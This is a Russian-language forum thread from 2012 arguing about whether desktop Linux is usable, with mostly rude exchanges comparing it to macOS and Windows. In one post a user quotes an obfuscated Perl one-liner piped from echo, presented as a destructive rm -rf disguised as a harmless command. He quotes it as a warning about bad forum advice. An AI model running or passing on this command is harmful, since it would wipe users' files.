Linux - сакс, хотя убантушники так и не считают

afrashkin · 13-02-12 02:34:14

Нашел здесь: https://stuckinbuttons.livejournal.com/5602.html

Тезисы к этому посту лежали на винте 33 дня и жгли мозг, наконец изливаю душу.

Linux на десктопе — говно, не смотря на заверения убунтушников. Количество багов, тормозов и отсутствующего функционала, с которым мне сейчас приходится мириться (я использую Arch Linux) приближается к границам моего терпения. Можно, конечно, эти заявления списать на мою криворукость и идеологию Арча в духе "конфигурируй сам", но часть багов и тормоза у меня проявлялась ещё под Ubuntu, что и побудило меня в мае переехать на Arch. Итак, список:
Периодически в запущенном Firefox flash шизеет и перестаёт воспроизводить звук, если не повезёт, то это блокирует и воспроизведение ютубовского видео (хотя без звука его и так смотреть в большинстве случаев смысла нет). Лечится перезапуском лисы (с полминуты, зависит от количества открытых вкладок). Вроде бы, я на это напоролся сразу как переехал с венды на linux, но, надо отдать должное прогрессу линя на десктопе, раньше было ещё хуже. В некоторых ситуациях, особенно с Audacity звук ломался для всей сессии пользователя, приходилось делать logout/login.
13 июля от обновления ядра до 2.6.30.1 сломался звук, alsa — гок, но заметил я это только немного погодя, в процессе восстановления перезапуска иксов по Alt+Ctrl+Backspace, так что 2 часа искал проблему не там. С июля kernel26 в IgnorePkg. Но на днях до арчевских репозитариев добралось ядро 2.6.31, надо собраться с духом и попробовать.
Ещё немного про звук и начинаем с багами KDE4. Уведомления от Kopete тормозят. Между самим событием (e.g. приходом сообщения) и проигрыванием звука проходит секунд 10 и это очень запутывает. Пробовал починить — не получилось, упоминаний схожих проблем найти не удалось. Вообще основной клиент у меня Gajim, Kopete использовал постольку поскольку нужно было время от времени общаться с айсикьюшниками, а сейчас для этих целей использую qutIM, так что когда проблема появилась и есть ли до сих пор — не знаю.
Konqueror (к Dolphin я себя приучить не смог) на момент написания тезисов к посту регулярно падал, сейчас падает изредка. И это в KDE версии 4.3?!
С переездом на Arch я созрел до переезда на KDE4 и использования десктопных красявостей, благо kwin в KDE4 эффекты поддерживает нативно. Сначала радовался. Потом оказалось, что включённые эффекты приводят к: сильному мерцанию полноэкранных приложений, если поверх них возникает какое-то уведомление (например в браузере alt к картинке/урлу), проскакивающему раз в несколько секунд в VLC красному кадру в видео, kwin, стабильно кушающему ~10% CPU (AMD Athlon(tm) 64 X2 5200+). GeForce 9400 GT, дрова проприетарные фирменные. Потыкался — починить не смог. Несколько недель как выключил эффекты насовсем и рад.
Регулярно дублируются кнопки окон на панели задач, при этом копия становится эдаким неубиваемым призраком, видимым на всех раб. столах и остающимся после закрытия окна, которому оно соответствовало. Лечится перезапуском plasma-desktop.
Регулярно падали иксы. Но после отключения эффектов насовсем стало вроде бы получше.
Принтер не работает. С ним вообще длинная история, когда я только переехал на линь, принтер HP Photosmart 7450 подхватился без каких-либо проблем. Через порядка года (я очень редко печатаю вообще) оказалось, что принтер виснет при любой попытке печати. То есть настолько, что даже кнопка выключения на принтере не работает, приходится дёргать из сети. Под вендой, что характерно, работал на ура. Тогда я это связал с тем, что кончился цветной картридж. Ещё через порядка года я переехал на Арч и попробовал наудачу его настроить. О чудо, прекрасно работает! А через месяц-другой обнаружилось, что опять стали проявляться те же симптомы. Пробовал откатить cups и hplip — безуспешно, анализировать логи, в которые сыпалось что-то интересное, но, увы, непонятное. В итоге решил, что проще несколько раз в году потратить минут 10 на перезагрузку в Windows XP, чем потратить на возню с этим ещё возможно много часов.
Браузеры тормозят, флэш тормозит. Доходит до смешного и абсурдного: Opera и Firefox нативно в javascript тестах показывают заметно меньшие результаты, чем их вендовые сборки, запущенные под wine. Проводил такие же тесты у себя, подтверждаю.
Pacman — тормоз. pacman-optimize вызывается каждые несколько дней по крону, но пакман всё равно удручающе долго ворочает свою базу.
Вообще графика тормозит. Под вендой окошки при изменении их размеров мышкой успевают за мышой пиксель-в-пиксель давным давно, ещё с PIII. Под линем на AMD Athlon(tm) 64 X2 5200+ — нет. В заоптимизированном арче. Ну ладно, у меня i386 система, из процессора выжато не всё, но какого чёрта?! Почему до значительного апгрейда 2 года назад под Windows XP очень функциональный текстовый редактор Notepad++ с подсветкой синтаксиса и проч. запускался порядка секунды, а тут заметно менее функциональный Kate — секунды 3??? Что-то глобально не так в датском королевстве.

А не попробовать ли мне Windows 7? Говорят, хороша…
И в комментах внизу, знакомые линуксоидовские мантры, типа у меня все ок и т.д.

Sergey2408 · 14-02-12 23:16:25

Что интересно, сам аффтар в каментах пишет:

Сам я так и сижу на Arch linux, хотя ещё с нового года пытаюсь собраться с духом и поставить Gentoo. Баги и неоптимальности лезут со всех щелей, но плачу, колюсь и пытаюсь писать багрепорты и патчи, понемногу начинает получаться.

Далее:

Как же меня задолбали анонимные апологеты венды в этом посте. Win 7 я пробовал, не понравилось. Даже без учёта багов мне просто непритно пользоваться несвободным ПО.

Линукс головного мозга в терминальной стадии.

Редактировался Sergey2408 (14-02-12 23:17:43)

artcats115 · 15-02-12 00:56:12

Оригинальный пост датирован 2009-м годом. Баги по утверждению самого автора исправлены.
Что обсуждать то? Разве что поныть общими размытыми фразами.

selenscy · 15-02-12 09:15:35

artcats115 пишет:

Оригинальный пост датирован 2009-м годом

Дык забил аффтар похоже на прелесть smile

afrashkin · 16-02-12 08:02:46

Да чего там забивать, самый лучший линукс- unix, который ни разу не линукс. Вон убунта слизывала с мак оси, да так ничего и не добилась. И самое главное, линуксоиды не понимают, любой продукт должен быть законченным, а не находиться постоянно в стадии глубокой жопы, простите, беты. И не забивать на требования пользователя, делать как удобно пользователю а не разработчику. Сейчас сообщество делает так как надо им и класть они хотели на пользователя. Вот только эти бараны одного понять не могут, что пользователи на них кладут. А сообщество не apple ни разу, чтобы свой точку зрения предлагать. Сообщество, чуть менее, чем ничто. Впрочем линукс тоже система, якобы. Ведь жигули называют машиной, не так ли? Так чем же линукс хуже? Впрочем пока сообщество не толкало свое поделие на десктопы, часто используя агрессивное и лживое давление, до тех пор обычным людям класть хотелось на них. Никому и не нужны они были. Но потом они своей ложью достали и я сейчас против, потому что против(дерусь потому что дерусь). И даже если будет что то из разряда ах, ни фига себе(хотя эти "гении" не осилят), я один хрен буду против. И постараюсь донести свое мнение до возможно большего количества юзеров.

Saturn · 16-02-12 08:57:47

Да чего там забивать, самый лучший линукс- unix, который ни разу не линукс.

Это надо понимать ты так макось назвал?

Вон убунта слизывала с мак оси, да так ничего и не добилась

Конкретно где слизала и где не добилась?

И самое главное, линуксоиды не понимают, любой продукт должен быть законченным, а не находиться постоянно в стадии глубокой жопы, простите, беты

Это ты вот это назвал законченым продуктом Mac OS X

Public Beta Kodiak (Бурый медведь, кадьяк) Build 1H39 — 13 сентября 2000 года.
10.0 Cheetah (Гепард) Build 4K78 — 24 марта 2001 года.
10.0.1 Build 4L13 — 14 апреля 2001 года.
10.0.2 Build 4P12 — 1 мая 2001 года.
10.0.3 Build 4P13 — 9 мая 2001 года.
10.0.4 Build 4Q12 — 21 июня 2001 года.
10.1 Puma (Пума) Build 5G64 — 25 сентября 2001 года.
10.1.1 Build 5M28 — 12 ноября 2001 года.
10.1.2 Build 5P48 — 21 декабря 2001 года.
10.1.3 Build 5Q45 — 19 февраля 2002 года.
10.1.4 Build 5Q125 — 17 апреля 2002 года.
10.1.5 Build 5S60 — 5 июня 2002 года.
10.2 Jaguar (Ягуар) Build 6C115 — 24 августа 2002 года.
10.2.1 Jaguar Red (Красный ягуар) Build 6D52 — 18 сентября 2002 года.
10.2.2 Jaguar Blue, Merlot (Синий ягуар, мерло) Build 6F21 — 11 ноября 2002 года.
10.2.3 Jaguar Green (Зелёный ягуар) Build 6G30 — 19 декабря 2002 года.
10.2.4 Jaguar Pink (Розовый ягуар) Build 6I32 — 13 февраля 2003 года.
10.2.5 Jaguar Plaid (Клетчатый ягуар) Build 6L29 — 10 апреля 2003 года.
10.2.6 Jaguar Black (Чёрный ягуар) Build 6L60 — 6 мая 2003 года.
10.2.7 Build 6R65 — 22 сентября 2003 года.
10.2.8 (G4) Build 6R73 — 3 октября 2003 года.
10.2.8 (G5) Build 6S90 — 3 октября 2003 года.
10.3 Panther (Пантера) Build 7B85 — 24 октября 2003 года.
10.3.1 Build 7C107 — 10 ноября 2003 года.
10.3.2 Build 7D24 — 17 декабря 2003 года.
10.3.3 Build 7F44 — 15 марта 2004 года.
10.3.4 Build 7H63 — 26 мая 2004 года.
10.3.5 Build 7M34 — 9 августа 2004 года.
10.3.6 Build 7R28 — 5 ноября 2004 года.
10.3.7 Build 7S215 — 15 декабря 2004 года.
10.3.8 Build 7U16 — 9 февраля 2005 года.
10.3.9 Build 7W98 — 15 апреля 2005 года.
10.4 Tiger (Тигр) Build 8A428 — 29 апреля 2005 года.
10.4.1 Build 8B15 — 16 мая 2005 года.
10.4.2 Build 8C46 — 12 июля 2005 года.
10.4.3 Build 8F46 — 31 октября 2005 года.
10.4.4 Build 8G32 — 10 января 2006 года.
10.4.5 (PowerPC) Build 8H14 — 14 февраля 2006 года.
10.4.5 (Intel) Build 8G1454 — 14 февраля 2006 года.
10.4.6 (PowerPC) Build 8I1119 — 3 апреля 2006 года.
10.4.6 (Intel) Build 7U16 — 3 апреля 2006 года.
10.4.7 (PowerPC) Build 8J135 — 27 июня 2006 года.
10.4.7 (Intel) Build 8J2135 — 27 июня 2006 года.
10.4.8 (PowerPC) Build 8L127 — 29 сентября 2006 года.
10.4.8 (Intel) Build 8L2127 — 29 сентября 2006 года.
10.4.9 (PowerPC) Build 8P135 — 13 марта 2007 года.
10.4.9 (Intel) Build 8P2137 — 13 марта 2007 года.
10.4.10 (PowerPC) Build 8R218 — 20 июня 2007 года.
10.4.10 (Intel) Build 8R2218 — 20 июня 2007 года.
10.4.11 (PowerPC) Build 8S165 — 14 ноября 2007 года.
10.4.11 (Intel) Build 8S2167 — 14 ноября 2007 года.
10.5 Leopard (Леопард) Build 9A581 — 26 октября 2007 года.
10.5.1 Build 9B18 — 15 ноября 2007 года.
10.5.2 Build 9С31 — 11 февраля 2008 года.
10.5.3 Build 9D34 — 28 мая 2008 года.
10.5.4 Build 9E17 — 1 июля 2008 года.
10.5.5 Build 9F33 — 16 сентября 2008 года.
10.5.6 Build 9G55 — 15 декабря 2008 года.
10.5.7 Build 9J61 — 12 мая 2009 года.
10.5.8 Build 9L30 — 5 августа 2009 года.
10.6 Snow Leopard (Снежный барс, Ирбис) Build 10A432 — 28 августа 2009 года.
10.6.1 Build 10B504 — 10 сентября 2009 года.
10.6.2 Build 10C540 — 9 ноября 2009 года.
10.6.3 Build 10D573 — 29 марта 2010 года.
10.6.4 Build 10F569 — 16 июня 2010 года.
10.6.5 Build 10H548 — 12 ноября 2010 года.
10.6.6 Build 10J567 — 6 января 2011 года.
10.6.7 Build 10J869 — 21 марта 2011 года.
10.6.8 Build 10K540 — 23 июля 2011 года.
10.7 Lion (Лев) Build 11A511 — 20 июля 2011 года.
10.7.1 Build 11B211 — 16 августа 2011 года.
10.7.2 Build 11C74 — 12 октября 2011 года.
10.7.3 Build 11D50 — 1 февраля 2012 год

Убунта отдыхает Каноникал нервно курит. Марк волосы на жопе рвет за таким количеством ему не успеть.
Вот это законченый продукт пришпандорили № 10 и погнали, Виндоус и то честнее потому что по эпловской логики Виндоус как законченый продукт должна называться 3.9.

Но потом они своей ложью достали и я сейчас против

Тебя конкретно кто обманул? Лично человек-стул?

И постараюсь донести свое мнение до возможно большего количества юзеров

Мессия чистой воды открой глаза заблудшим, ну хоть один нашелся честный человек открыл мне глаза, а то я до этого был слеп.

Сообщество, чуть менее, чем ничто

В приличном обществе за такое, лицо бьют.

Сейчас сообщество делает так как надо им и класть они хотели на пользователя.

Тебе конкретно кто-то, что-то обещал? Ты ГПЛ читал? Где ясно написано что разработчик пользователю кроме исходников ничего не должен, и пользователь разработчику тоже ничего не должен. И если тебе не нравится, не пользуйся, никто ничего не обещает, такова суть этой лицензии и таково сообщество в целом.
А теперь почитай лицензию виндоус или макоси почти ровно тоже самое кроме обещания технической поддержки и то ограниченой, ради тебя и твоих детских требований и обид никто ничего переписывать и там не будет, там тоже есть положение если вы не согласны с лицензией удалите наше программное обеспечение.
В

прочем пока сообщество не толкало свое поделие на десктопы, часто используя агрессивное и лживое давление, до тех пор обычным людям класть хотелось на них.

Это силой что ли под дулом автомата тебя заставляли устанавливать линукс?
С чем боротся будеш?

DonDublon3 · 16-02-12 08:58:33

afrashkin пишет:

лучший линукс- unix

unix - более общее понятие (архитектура и API)

Saturn · 16-02-12 09:11:07

Самая совершенная компьютерная операционная
система в мире становится совершеннее.
Уже доступна в App Store для Mac

https://www.apple.com/ru/macosx/
Такое даже у Балмера не хватило наглости ляпнуть.
Была идеальна стала еще идеальней Бред.

Добавлено спустя 01 мин 12 с:

DonDublon3 пишет:

afrashkin пишет:
лучший линукс- unix
unix - более общее понятие (архитектура и API)

Он не про это писал, он тут макось толкает.

selenscy · 16-02-12 11:12:05

afrashkin пишет:

Сообщество, чуть менее, чем ничто.

Само саопчество да, совершенно верно! Это аморфная серая масса. Единственное с кем считаются и то только юридически, так это с FSF (конторка чилвавека-стула). Но на этого клоуна сейчас похоже уже никто и внимания не обращает, даже особо пенгванутые.

zg13 · 16-02-12 12:09:24

И самое главное, линуксоиды не понимают, любой продукт должен быть законченным, а не находиться постоянно в стадии глубокой жопы, простите, беты.

А на фиги тогда нужно будет сАААобщество?
Постоянно что-то допиливающее.
Толпы красноглазых начнут визжать что их суперпупер изменения в финальный релиз не внесли.

afrashkin · 16-02-12 17:38:14

Saturn пишет:

Конкретно где слизала и где не добилась?

А ты погляди на 2 гном, на меню настроек и прочее. Впрочем если не видел мака, тебе не поможет.

Saturn пишет:

Это ты вот это назвал законченым продуктом Mac OS X

Прикинь, там все работает, да!

Saturn пишет:

Марк волосы на жопе рвет

Бедняга, план по шерсти решил сдать? У него вся жопа лысая должна быть, столько шерсти души вкладывать в разработку убунты.

Saturn пишет:

Тебя конкретно кто обманул?

Меня никто. Эти поделия агрессивно продвигаются в интернетах, типа все просто и как бы работает. Только работает именно как бы.

Saturn пишет:

В приличном обществе за такое, лицо бьют.

Заходи.

Saturn пишет:

Он не про это писал, он тут макось толкает.

Даже мысли такой не было. У меня несколько ноутов, конкретно три из них на винде, комп под медиа систему тоже на винде, домашняя файлопомойка на линуксе(коммерческом). И только один макбук. Я не привязан к одной системе, преимущества есть как у винды, так и у мака. Только у поделия красноглазых преимуществ на десктопе нет!

SemyonKozakov · 16-02-12 17:40:23

afrashkin пишет:

Только у поделия красноглазых преимуществ на десктопе нет!

Это ваше мнение. Я видел и Windows, и Mac OS X, и множество вариаций линукса. Преимущества и недостатки есть у всего, и глупо ненавидеть какую-то конкретную систему.

selenscy · 16-02-12 17:45:16

Да никто вашу "прелесть" и не ненавидит wink Сдалось оно, поделие, ещё ненавидеть. Работает через пень колоду, ну и х*й с ним.
Дураков вступать с этой куетой в половые отношения и пилить её очень мало.

SemyonKozakov · 16-02-12 17:49:50

selenscy, что удивительно, но есть люди, у которых оно работает хорошо. И им линукс подходит намного лучше, чем винда.

afrashkin · 16-02-12 17:53:43

SemyonKozakov пишет:

и глупо ненавидеть какую-то конкретную систему.

Я не люблю нечестной игры. Перестаньте втюхивать ее на каждом углу. А то постоянно натыкаюсь на статьи, типа, поставил бабушке убунту и она стала дедушкой или как я всех пересадил на линукс. Или 100500 причин поставить линукс. При этом умалчивается, что хренова туча прог просто отсутствует и поддержки никакой. У меня ситуация была, когда надо было найти решение проблемы, так гугл посылает на форум пингванутых, где человек имеет похожую проблему, в форуме отвечает гуру и дает ссылку в гугл, а гугл опять ведет на тот же форум. Это был незабываемый квест.

usual_user · 16-02-12 17:59:13

afrashkin пишет:

Это был незабываемый квест.

Обиднее, когда через время серфишь интернет по другой причине и натыкаешься на решение проблемы, а решение было описано несколько лет назад.

afrashkin · 16-02-12 18:04:09

usual_user пишет:

afrashkin пишет:
Это был незабываемый квест.
Обиднее, когда через время серфишь интернет по другой причине и натыкаешься на решение проблемы, а решение было описано несколько лет назад.

И такое есть. Еще бывает, что гуру дают неправильные команды или замаскированный под безобидную команду rm-rf. Пример:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' взял отсюда: https://lurkmore.to/Rm_-rf

selenscy · 16-02-12 18:05:06

А потом вам что то трямкают про "стандарты", "кривые ручки", "нинужна", "уебанту в каждый дом" и прочую ахинею. Да....
Плавали, знаем!

computer user · 16-02-12 19:50:57

usual_user пишет:

Обиднее, когда через время серфишь интернет по другой причине и натыкаешься на решение проблемы, а решение было описано несколько лет назад.

А эта проблема уже ушла, зато другие пришли. lol

usual_user · 16-02-12 20:04:00

computer user пишет:

А эта проблема уже ушла, зато другие пришли.

Как в жизни, правда?

tyween · 20-02-12 20:28:10

afrashkin пишет:

Да чего там забивать, самый лучший линукс- unix, который ни разу не линукс

GNU = Govno is Not Unix
Linux = Laja Is Not UniX

Редактировался tyween (20-02-12 20:30:16)

SemyonKozakov · 20-02-12 20:38:55

tyween, браво. Петросян отдыхает.

Bikutoru · 21-02-12 02:21:02

Задрот уже не быдло, это радует. Для освоения линухи нужны прямые руки, есть люди кто сами дрова себе пишут... А правильный чел не гадит а делает. Может я где то и говорил, у меня на компе две системы, и под каждой я выполняю то к чему она лучше всего предназначена. В Окошках - играю и страдаю ерундой(как щас), в Лине работаю. Сборка Ксиалия (раньше синяя птица стояла), единственный и главный упрёк к видеодрайверу. Работает система отлично пока не включон компиз, да и не нужен он мне, мне и без красот отлично работается...

computer user · 21-02-12 05:05:04

Bikutoru пишет:

Для освоения линухи нужны прямые руки, есть люди кто сами дрова себе пишут...

Да и сами сибе компьютеры делают. Снуля. lol lol lol

Bikutoru пишет:

А правильный чел не гадит а делает.

Даже то, чиго 100 000 лет до него 100 раз сделали 1000 раз лучше. lol tongue

Bikutoru пишет:

Может я где то и говорил, у меня на компе две системы, и под каждой я выполняю то к чему она лучше всего предназначена.

То есть ничиго. lol lol lol

Bikutoru пишет:

В Окошках - играю и страдаю ерундой(как щас)

Хорошо сибе признаете. yikes yikes yikes lol

Bikutoru пишет:

в Лине работаю

нипавериш, а чиго? roll yikes

Bikutoru пишет:

Сборка Ксиалия (раньше синяя птица стояла), единственный и главный упрёк к видеодрайверу.

Нет, нет праблем, оно видео такое незначительное. Только ф канзоли вами невозможно? lol lol lol
Неасилели кансоли? yikes

Bikutoru пишет:

Работает система отлично пока не включон компиз

И пока кое чиго другое ее не абрушило. lol lol lol

Bikutoru пишет:

да и не нужен он мне

Правильно - нинужна, то слово без которого Линукс низя работать. lol

Bikutoru пишет:

мне и без красот отлично работается...

lol lol lol

Форум StopLinux

Объявление

#1 13-02-12 02:34:14

Linux - сакс, хотя убантушники так и не считают

#2 14-02-12 23:16:25

Re: Linux - сакс, хотя убантушники так и не считают

#3 15-02-12 00:56:12

Re: Linux - сакс, хотя убантушники так и не считают

#4 15-02-12 09:15:35

Re: Linux - сакс, хотя убантушники так и не считают

#5 16-02-12 08:02:46

Re: Linux - сакс, хотя убантушники так и не считают

#6 16-02-12 08:57:47

Re: Linux - сакс, хотя убантушники так и не считают

#7 16-02-12 08:58:33

Re: Linux - сакс, хотя убантушники так и не считают

#8 16-02-12 09:11:07

Re: Linux - сакс, хотя убантушники так и не считают

#9 16-02-12 11:12:05

Re: Linux - сакс, хотя убантушники так и не считают

#10 16-02-12 12:09:24

Re: Linux - сакс, хотя убантушники так и не считают

#11 16-02-12 17:38:14

Re: Linux - сакс, хотя убантушники так и не считают

#12 16-02-12 17:40:23

Re: Linux - сакс, хотя убантушники так и не считают

#13 16-02-12 17:45:16

Re: Linux - сакс, хотя убантушники так и не считают

#14 16-02-12 17:49:50

Re: Linux - сакс, хотя убантушники так и не считают

#15 16-02-12 17:53:43

Re: Linux - сакс, хотя убантушники так и не считают

#16 16-02-12 17:59:13

Re: Linux - сакс, хотя убантушники так и не считают

#17 16-02-12 18:04:09

Re: Linux - сакс, хотя убантушники так и не считают

#18 16-02-12 18:05:06

Re: Linux - сакс, хотя убантушники так и не считают

#19 16-02-12 19:50:57

Re: Linux - сакс, хотя убантушники так и не считают

#20 16-02-12 20:04:00

Re: Linux - сакс, хотя убантушники так и не считают

#21 20-02-12 20:28:10

Re: Linux - сакс, хотя убантушники так и не считают

#22 20-02-12 20:38:55

Re: Linux - сакс, хотя убантушники так и не считают

#23 21-02-12 02:21:02

Re: Linux - сакс, хотя убантушники так и не считают

#24 21-02-12 05:05:04

Re: Linux - сакс, хотя убантушники так и не считают

Подвал форума